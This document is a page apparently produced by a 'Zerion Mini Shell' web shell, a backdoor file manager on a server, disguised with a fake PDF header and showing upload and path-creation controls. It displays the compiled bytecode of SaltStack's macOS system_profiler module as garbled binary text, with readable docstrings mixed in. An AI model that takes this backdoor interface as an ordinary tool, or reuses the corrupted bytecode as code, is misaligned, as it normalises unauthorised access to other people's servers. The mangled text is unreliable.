%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/system_profiler.pyc

�
���^c@@s�dZddlmZmZmZddlZddlZddlZddl	m
Z
dZd�Zd�Z
d�Zd	�ZdS(
u�
System Profiler Module

Interface with macOS's command-line System Profiler utility to get
information about package receipts and installed applications.

.. versionadded:: 2015.5.0

i(tabsolute_importtunicode_literalstprint_functionN(tsixu/usr/sbin/system_profilercC@s)tjjjd�}|rtStdfS(uA
    Check to see if the system_profiler binary is available
    usystem_profileruSThe system_profiler execution module cannot be loaded: system_profiler unavailable.(tsalttutilstpathtwhichtTruetFalse(tPROFILER_BINARY((s@/usr/lib/python2.7/site-packages/salt/modules/system_profiler.pyt__virtual__scC@s�tjtddd|gdtj�}|jdd�\}}tjrZtj	|�}ntj
|�}y|dd}Wnttfk
r�g}nX|S(	ub
    Call out to system_profiler.  Return a dictionary
    of the stuff we are interested in.
    u-detailLevelufullu-xmltstdouttinputiu_itemsN(
t
subprocesstPopenR
tPIPEtcommunicatetNoneRtPY2tplistlibtreadPlistFromStringtreadPlistFromBytest
IndexErrortKeyError(tdatatypetptsysprofresultstsysprof_stderrtplisttapps((s@/usr/lib/python2.7/site-packages/salt/modules/system_profiler.pyt_call_system_profiler"s		
cC@s�td�}i}x�|D]�}t|�}|jd�d|kr^|djd�|d<nd|kr�y3dj|dd|ddjd��|d<Wq�ttfk
r�q�Xn|d|kr�g||d<n||dj|�qW|S(	u�
    Return the results of a call to
    ``system_profiler -xml -detail full SPInstallHistoryDataType``
    as a dictionary.  Top-level keys of the dictionary
    are the names of each set of install receipts, since
    there can be multiple receipts with the same name.
    Contents of each key are a list of dictionaries.

    CLI Example:

    .. code-block:: bash

        salt '*' systemprofiler.receipts
    uSPInstallHistoryDataTypeu_nameuinstall_dateu%Y-%m-%d %H:%M:%Suinfou{0}: {1}ii(RtdicttpoptstrftimetformatRtAttributeErrortappend(Rtappdicttatdetails((s@/usr/lib/python2.7/site-packages/salt/modules/system_profiler.pytreceipts:s"

"cC@s�td�}i}x�|D]�}t|�}|jd�d|kr^|djd�|d<nd|kr�y3dj|dd|ddjd��|d<Wq�ttfk
r�q�Xn|d|kr�g||d<n||dj|�qW|S(	u
    Return the results of a call to
    ``system_profiler -xml -detail full SPApplicationsDataType``
    as a dictionary.  Top-level keys of the dictionary
    are the names of each set of install receipts, since
    there can be multiple receipts with the same name.
    Contents of each key are a list of dictionaries.

    Note that this can take a long time depending on how many
    applications are installed on the target Mac.

    CLI Example:

    .. code-block:: bash

        salt '*' systemprofiler.applications
    uSPApplicationsDataTypeu_nameulastModifiedu%Y-%m-%d %H:%M:%Suinfou{0}: {1}ii(RR R!R"R#RR$R%(RR&R'R(((s@/usr/lib/python2.7/site-packages/salt/modules/system_profiler.pytapplicationsbs"

"(t__doc__t
__future__RRRRRtsalt.utils.pathRtsalt.extRR
RRR)R*(((s@/usr/lib/python2.7/site-packages/salt/modules/system_profiler.pyt<module>
s			(

Zerion Mini Shell 1.0